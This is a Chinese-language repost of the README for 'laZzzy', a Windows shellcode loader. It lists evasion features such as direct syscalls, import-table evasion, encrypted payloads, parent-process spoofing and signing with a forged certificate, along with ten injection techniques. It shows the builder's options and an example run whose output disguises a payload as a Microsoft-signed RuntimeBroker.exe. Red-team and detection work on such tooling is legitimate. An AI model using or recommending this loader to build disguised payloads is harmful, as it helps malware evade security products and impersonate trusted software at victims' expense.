laZzzy – shellcode 加载器

特征

• 直接系统调用和本机 ( Nt*) 函数（不是所有函数，但大多数）

• 导入地址表 (IAT) 规避

• 加密有效负载（XOR 和 AES）

• 随机生成的密钥

• x90使用 NOPS ( )自动填充有效负载（如有必要）

• 有效负载的逐字节内存解密

• XOR 加密字符串

• PPID欺骗

• 阻止非 Microsoft 签名的 DLL

• （可选）克隆PE图标和属性

• （可选）使用欺骗性证书进行代码签名

带有 Visual Studio 和以下组件的 Windows 机器，可以从Visual Studio Installer>Individual Components安装：

• C++ Clang Compiler for WindowsandC++ Clang-cl for build tools

ClickOnce Publishing

(venv) PS C:MalDevlaZzzy> python3 .builder.py -h ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀ usage: builder.py [-h] -s -p -m [-tp] [-sp] [-pp] [-b] [-d] options: -h, --help show this help message and exit -s path to raw shellcode -p password -m shellcode execution method (e.g. 1) -tp process to inject (e.g. svchost.exe) -sp process to spawn (e.g. C:\Windows\System32\RuntimeBroker.exe) -pp parent process to spoof (e.g. explorer.exe) -b binary to spoof metadata (e.g. C:\Windows\System32\RuntimeBroker.exe) -d domain to spoof (e.g. www.microsoft.com) shellcode execution method: 1 Early-bird APC Queue (requires sacrificial proces) 2 Thread Hijacking (requires sacrificial proces) 3 KernelCallbackTable (requires sacrificial process that has GUI) 4 Section View Mapping 5 Thread Suspension 6 LineDDA Callback 7 EnumSystemGeoID Callback 8 FLS Callback 9 SetTimer 10 Clipboard

例子：

执行builder.py并提供必要的数据

(venv) PS C:MalDevlaZzzy> python3 .builder.py -s .calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\Windows\System32\notepad.exe -d www.microsoft.com -b C:\Windows\System32\mmc.exe ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀ [+] XOR-encrypting payload with [*] Key:                        d3b666606468293dfa21ce2ff25e86f6 [+] AES-encrypting payload with [*] IV:                         f96312f17a1a9919c74b633c5f861fe5 [*] Key: 6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec [+] Modifying template using [*] Technique:                  Early-bird APC Queue [*] Process to inject:          None [*] Process to spawn:           C:\Windows\System32\RuntimeBroker.exe [*] Parent process to spoof:    svchost.exe [+] Spoofing metadata [*] Binary:                     C:\Windows\System32\RuntimeBroker.exe [*] CompanyName:                Microsoft Corporation [*] FileDescription:            Runtime Broker [*] FileVersion: 10.0.22621.608 (WinBuild.160101.0800) [*] InternalName:               RuntimeBroker.exe [*] LegalCopyright:             © Microsoft Corporation. All rights reserved. [*] OriginalFilename:           RuntimeBroker.exe [*] ProductName:                Microsoft® Windows® Operating System [*] ProductVersion: 10.0.22621.608 [+] Compiling project [*] Compiled executable:        C:MalDevlaZzzyloaderx64ReleaselaZzzy.exe [+] Signing binary with spoofed cert [*] Domain:                     www.microsoft.com [*] Version: 2 [*] Serial: 33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6 [*] Subject:                    /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/CN=www.microsoft.com [*] Issuer:                     /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06 [*] Not Before:                 October 04 2022 [*] Not After:                  September 29 2023 [*] PFX file:                   C:MalDevlaZzzyoutputwww.microsoft.com.pfx [+] All done! [*] Output file:                C:MalDevlaZzzyoutputRuntimeBroker.exe

Shellcode 执行技术

1. Early-bird APC Queue （需要牺牲过程）

2. 线程劫持（需要牺牲进程）

3. KernelCallbackTable （需要具有 GUI 的牺牲进程）

4. 截面视图映射

5. 线程暂停

6. LineDDA回调

7. EnumSystemGeoID 回调

8. 光纤本地存储 (FLS) 回调

9. 设置定时器

10. 剪贴板

https://github.com/capt-meelo/laZzzy

文章来源：Khan安全攻防实验室

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